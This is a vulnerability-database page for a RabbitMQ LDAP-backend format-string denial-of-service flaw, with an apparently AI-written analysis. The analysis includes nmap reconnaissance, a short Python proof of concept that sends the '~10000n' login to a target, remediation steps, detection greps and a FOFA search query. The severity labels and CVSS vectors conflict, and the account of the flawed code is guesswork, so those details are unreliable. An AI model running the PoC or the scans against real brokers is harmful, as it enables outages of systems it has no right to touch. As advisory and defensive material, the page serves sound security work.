CVE Professor
/
All CVEs
CVE-2026-144247

CVE-2026-144247 — Rabbitmq Rabbitmq-server — CWE-134

MEDIUM CVSS 8.2 Shodan

RabbitMQ Server 3.13.0 before 3.13.21, 4.1.0 before 4.1.17, 4.2.0 before 4.2.12, and 4.3.0 before 4.3.7 contains a format string vulnerability in rabbitmq_auth_backend_ldap, which returns the rejected user_dn_pattern bind DN as an Erlang format string. Unauthenticated attackers can send failed AMQP PLAIN logins with usernames such as ~10000n to amplify log, disk, and per-connection memory consumption.

RabbitMQ Server 3.13.0 before 3.13.21, 4.1.0 before 4.1.17, 4.2.0 before 4.2.12, and 4.3.0 before 4.3.7 contains a format string vulnerability in rabbitmq_auth_backend_ldap, which returns the rejected user_dn_pattern bind DN as an Erlang format string. Unauthenticated attackers can send failed AMQP PLAIN logins with usernames such as ~10000n to amplify log, disk, and per-connection memory consumption.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Format String Vulnerability (CWE-134) located within the rabbitmq_auth_backend_ldap Erlang application module.

Technical Flaw:
The core issue lies in how the LDAP authentication backend handles failed login attempts. When an AMQP client attempts to authenticate using the PLAIN mechanism with a username that does not match the configured user_dn_pattern, the backend generates an error message containing the rejected user_dn_pattern (or the resulting bind DN) and passes it directly into an Erlang format string function (likely io_lib:format/2 or similar) without proper sanitization or escaping.

In Erlang, if a string containing format specifiers (like ~n, ~p, ~w, etc.) is passed as the format string argument rather than the data argument, the runtime interprets these specifiers. Specifically, the ~n specifier outputs a newline. By injecting a large number of ~n characters (e.g., ~10000n), the attacker forces the Erlang VM to generate a massive amount of newline characters in the log output.

Missing Validation:
The input (username) is not sanitized or validated before being interpolated into the log message template. The code assumes the user_dn_pattern or the resulting DN is static/trusted, failing to account for user-controlled input that can alter the format string semantics.

CVSS Vector Analysis (CVSS:4.0):

  • AV:N / AC:L / AT:P / PR:N / UI:N: Network-exploitable, low complexity, requires preconditions (likely that LDAP auth is enabled and the specific backend is active), no privileges required, no user interaction.

  • VC:N / VI:N / VA:H: No impact on confidentiality or integrity, but High impact on Availability. This is a Denial of Service (DoS) vector, not an RCE or data leak.

  • SC:N / SI:N / SA:N: No impact on subsequent systems.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Service Identification: Use nmap or masscan to identify open AMQP ports (default 5672 for non-TLS, 5671 for TLS).
  • nmap -sV -p 5672,5671 --script rabbitmq-info <target_ip>
  • Version Fingerprinting: The rabbitmq-info script or manual AMQP protocol handshake can reveal the RabbitMQ version. Alternatively, check the Server header in HTTP responses if the Management Plugin is enabled (port 15672).
  • Configuration Enumeration: Determine if rabbitmq_auth_backend_ldap is enabled. This is often visible in the RabbitMQ Management UI (if accessible) or through error messages during authentication attempts. If LDAP is not the primary or secondary backend, this specific CVE is not exploitable.
  • 2. Exploitation

    The attacker sends an AMQP PLAIN login request with a malicious username. The username is crafted to include a large number of newline format specifiers.

    Illustrative PoC (Python using pika library):
    Note: The exact payload length may vary based on system limits, but ~10000n is cited in the CVE description as sufficient to cause significant resource consumption.

    import pika
    import sys
    
    # Target configuration
    HOST = "192.168.1.100"
    PORT = 5672
    MALICIOUS_USERNAME = "~10000n"  # 10,000 newlines
    PASSWORD = "dummy_password"
    
    def exploit():
        try:
            # Create connection parameters
            credentials = pika.PlainCredentials(MALICIOUS_USERNAME, PASSWORD)
            parameters = pika.ConnectionParameters(
                host=HOST,
                port=PORT,
                credentials=credentials
            )
            
            # Attempt to connect. This will trigger the AMQP PLAIN SASL exchange.
            # The server will attempt LDAP auth, fail, and log the error with the format string.
            connection = pika.BlockingConnection(parameters)
            print("[+] Connection established (unexpected).")
            connection.close()
        except pika.exceptions.ProbableAuthenticationError as e:
            print(f"[-] Authentication failed as expected: {e}")
            print("[+] Exploit triggered. Check server logs/disk usage.")
        except Exception as e:
            print(f"[!] Error: {e}")
    
    if __name__ == "__main__":
        exploit()

    Alternative: Raw AMQP via amqp CLI (if available):

    # This is illustrative. The exact CLI syntax depends on the tool.
    # The key is sending a SASL PLAIN mechanism with the username "~10000n".
    amqp -H <target_ip> -p 5672 -u "~10000n" -p "dummy" -q "test"

    Mechanism:
    1. Client sends AMQP.START and then AMQP.SASL-CHALLENGE with PLAIN mechanism.
    2. Server receives username ~10000n.
    3. rabbitmq_auth_backend_ldap attempts to bind to LDAP.
    4. Bind fails (invalid DN).
    5. Backend constructs error log: io_lib:format("LDAP bind failed for pattern: ~p", [UserDN]) BUT if the code mistakenly does io_lib:format(UserDN, []) or similar, or if the UserDN is part of the format string itself, the ~10000n is interpreted.
    Correction based on typical Erlang format string bugs:* The vulnerability likely exists because the user_dn_pattern or the resulting DN is used in a context where it is treated as a format string. For example, if the code does io_lib:format(DN, []) instead of io_lib:format("~s", [DN]), the ~n in the DN is executed.
    6. The Erlang VM generates 10,000 newline characters.
    7. This string is written to the log file.
    8. Repeating this request rapidly (e.g., 1000 times/sec) fills the disk, exhausts I/O bandwidth, and consumes memory in the Erlang process handling the connection.

    3. Post-exploitation

  • Denial of Service: The primary impact is DoS.
  • * Disk Exhaustion: Log files grow rapidly, filling the /var/log/rabbitmq/ directory. This can cause RabbitMQ to crash or stop accepting new connections if the disk is full. * Memory Exhaustion: Each connection holding a large log buffer consumes RAM. With many concurrent connections, the Erlang VM may run out of memory, causing a crash or OOM kill. * I/O Saturation: High disk write I/O can degrade performance for other services on the same host.
  • No RCE or Data Leak: This is strictly an availability issue. There is no code execution or data exfiltration.
  • 🌍 Real World Impact

  • Confidentiality (None): No data is leaked.
  • Integrity (None): No data is modified.
  • Availability (High):
  • * Production Disruption: RabbitMQ is a critical message broker. A DoS can halt message processing, leading to cascading failures in microservices, API gateways, and backend systems. * Log Rotation Failure: If logs are not rotated properly, the disk can fill up in minutes, affecting the entire host. * Resource Starvation: High CPU and I/O usage from log writing can starve other processes.

    Practical Consequences:

  • E-commerce sites: Checkout failures due to message queue unavailability.

  • Financial systems: Transaction processing delays or failures.

  • IoT platforms: Data ingestion pipelines halted.
  • 🛡️ Remediation & Mitigation

    1. Patching (Primary Solution)

    Upgrade to the fixed versions:
  • 3.13.x: Upgrade to 3.13.21 or later.
  • 4.1.x: Upgrade to 4.1.17 or later.
  • 4.2.x: Upgrade to 4.2.12 or later.
  • 4.3.x: Upgrade to 4.3.7 or later.
  • Command to check current version:

    rabbitmqctl status | grep "RabbitMQ version"

    Upgrade Command (Debian/Ubuntu example):

    sudo apt-get update
    sudo apt-get install rabbitmq-server=3.13.21-1  # Adjust version for your distro
    sudo systemctl restart rabbitmq-server

    2. Workarounds (If Immediate Patching is Not Possible)

    A. Disable LDAP Authentication Backend:
    If LDAP is not strictly required, disable it to remove the vulnerable code path.

    # In rabbitmq.conf
    auth_backends = internal
    # OR
    auth_backends = rabbitmq_auth_backend_internal

    Restart RabbitMQ: sudo systemctl restart rabbitmq-server

    B. Restrict Access to AMQP Port:
    Use firewall rules to limit access to port 5672/5671 to trusted IP ranges only.

    # Example: UFW
    sudo ufw allow from 10.0.0.0/8 to any port 5672 proto tcp
    sudo ufw deny 5672

    C. Rate Limiting:
    Implement rate limiting at the load balancer or firewall level for AMQP connections.

  • Nginx (if proxying): Use limit_req zone.

  • iptables: Use hashlimit to limit new connections per IP.
  • iptables -A INPUT -p tcp --dport 5672 -m hashlimit --hashlimit-above 10/sec --hashlimit-burst 20 --hashlimit-mode srcip -j DROP

    D. Log Monitoring & Rotation:
    Ensure log rotation is aggressive and disk usage is monitored.
    Configure logrotate for /var/log/rabbitmq/.log with a small size limit (e.g., 10MB) and high compression.

  • Set up alerts for disk usage > 80%.
  • 3. Detection (IoCs)

    Log Patterns:
    Search RabbitMQ logs (/var/log/rabbitmq/rabbit@<host>.log) for:

  • Repeated LDAP bind failures with usernames containing ~n.

  • Example grep:
  • grep -E "LDAP.*bind.*failed.*~n" /var/log/rabbitmq/*.log
  • Look for unusually large log lines or rapid log file growth.
  • Network Traffic:

  • Monitor for AMQP SASL-CHALLENGE messages with PLAIN mechanism where the username field contains ~ characters.

  • Use tcpdump to capture AMQP traffic:
  • tcpdump -i eth0 port 5672 -w amqp_capture.pcap

    Analyze with Wireshark for suspicious usernames.

    System Metrics:

  • Sudden spike in disk I/O writes to /var/log/rabbitmq/.

  • High CPU usage by beam.smp (Erlang VM) process.

  • Rapid increase in log file size.
  • ⚠️ Urgency

    Priority: HIGH

  • CVSS Score: 8.2 (High)
  • Exploitability: Low complexity, no authentication required. An attacker only needs network access to the AMQP port.
  • Impact: High availability impact. Can cause complete service outage.
  • CISA KEV: Not listed, but this does not reduce urgency given the ease of exploitation.
  • Recommendation:
1. Immediate: Apply firewall restrictions to limit AMQP access to trusted IPs. 2. Short-term (24-48 hours): Upgrade to the fixed version. 3. Ongoing: Monitor logs for exploitation attempts and disk usage.

Note: If you cannot patch immediately, disabling the LDAP backend is the most effective mitigation, as it removes the vulnerable code path entirely.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="rabbitmq rabbitmq-server"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-144247
CVSS Score
8.2 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-134
Affected Products (1)
rabbitmq:rabbitmq-server
References & Advisories (2)
Related CVEs
8.8
CVE-2026-62360
RabbitMQ Cluster Kubernetes Operator deploys and manages RabbitMQ clusters. Prior to version 2.22.0, a namespa
6.0
CVE-2026-61830
RabbitMQ Cluster Kubernetes Operator deploys and manages RabbitMQ clusters. Prior to version 2.21.0, a namespa
9.1
CVE-2026-144233
RabbitMQ rabbitmq-server 4.2.9 before 4.2.13, 4.3.3 before 4.3.8, and 4.4.0 before 4.4.1 lacks caller authenti
7.7
CVE-2026-144246
RabbitMQ 4.1.0 before 4.1.17, 4.2.0 before 4.2.12, and 4.3.0 before 4.3.7 does not enforce the 255-byte shorts
8.9
CVE-2026-144591
PhpSpreadsheet through 5.12.0 contains a server-side request forgery vulnerability that allows attackers to re
8.5
CVE-2026-120096
Missing authorization in the push publishing endpoints REST API (/api/v1/environments/endpoints) and in the pu
8.2
CVE-2026-144617
Traccar 6.13.0 before 6.18.0 contains a denial of service vulnerability that allows remote attackers knowing a